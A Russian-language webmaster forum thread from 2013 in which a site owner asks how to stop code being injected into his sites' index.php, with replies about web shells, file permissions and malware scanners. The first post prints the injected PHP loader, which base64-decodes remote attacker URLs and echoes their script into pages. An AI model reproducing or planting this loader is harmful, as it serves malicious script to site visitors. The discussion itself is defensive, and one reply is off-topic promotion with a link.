X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

Открыть тему
Тема закрыта
> Достала вирусня
Rombi
Rombi
Topic Starter сообщение 2.2.2013, 11:56; Ответить: Rombi
Сообщение #1


Уже устал чистить сайты от этого левого кода. Разные движки, разные хостинги, разные пароли и тд. Антивирусом регулярно проверяюсь.
Размещают код в index.php, как этим бороться?

function sql2_safe($in) {
        $rtn = base64_decode($in);
        return $rtn;
}
function collectnewss() {
        $get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcHQuaHRtbA==");
        $content = @file_get_contents($get);
        if (!$content)
            echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48
L3NjcmlwdD4=");
        else
            echo $content;
}
collectnewss ();


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
EvilGomel
EvilGomel
сообщение 2.2.2013, 12:11; Ответить: EvilGomel
Сообщение #2


Скорее всего шелы. Какой антивирус стоит? Где пароли храним?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rombi
Rombi
Topic Starter сообщение 2.2.2013, 12:13; Ответить: Rombi
Сообщение #3


Каспер. В основном в голове)


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
proXBOCT
proXBOCT
сообщение 2.2.2013, 12:16; Ответить: proXBOCT
Сообщение #4


В ftp-клиентах пароли не сохранены?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rombi
Rombi
Topic Starter сообщение 2.2.2013, 12:18; Ответить: Rombi
Сообщение #5


Обижаешь, горький опыт научил не сохранять еще лет 5 назад)


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
proXBOCT
proXBOCT
сообщение 2.2.2013, 12:20; Ответить: proXBOCT
Сообщение #6


попробуйте посмотреть сайты на предмет лишних файлов, может шел и вправду есть


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
mvchansas
mvchansas
сообщение 2.2.2013, 12:22; Ответить: mvchansas
Сообщение #7


названия и пароли баз данных поменяли ? ужесточите права к папкам сайта.

все шелы - у меня находил Avast IS


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rombi
Rombi
Topic Starter сообщение 2.2.2013, 12:48; Ответить: Rombi
Сообщение #8


Вряд ли на всех аккаунтах есть шеллы. Скорее всего уязвимости какие-нибудь в JS файлах.
Начал ставить права 444 на все php файлы.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
romand777
romand777
сообщение 2.2.2013, 22:02; Ответить: romand777
Сообщение #9


Совершенно случайно в интернете наткнулся на Общественное Движение Сергея Давыдова S.I.V STOP INTERNET VIRUS
Цель движения-обезопасить простых пользователей от вирусных сайтов.
Зачастую мне да и Вам ,наверно,приходилось сталкиваться с вирусной рекламой,к примеру ,на сайтах с онлайн фильмами..Нажимаю на плэй,а он мне выдает,что нужно обновить плеер и т.д..Вот здесь зараза и скрыта и не всегда,даже очень редко антивирусники реагируют на это..Но по своему не знанию,-кликнув на обновить плеер-получил заблокированный виндоус...(((
Также можно встретить ,что типа ваш счет или аккаунт заблокирован и многое другое.Благодаря всему этому мы зачастую становимся жертвами мошенников.
Общественное движение как раз и направлено на борьбу с такими сайтами..
Если кому интересно скидываю ссылки на Общественное движение S.I.V STOP INTERNET VIRUS
http://serezha-davidov2013.narod2.ru
ДВИЖЕНИЕ ВКОНТАКТЕ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
shansick
shansick
сообщение 2.2.2013, 22:18; Ответить: shansick
Сообщение #10


Советую проверить все скриптом AI-bolit

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


 



RSS Текстовая версия Сейчас: 19.4.2024, 21:56
Дизайн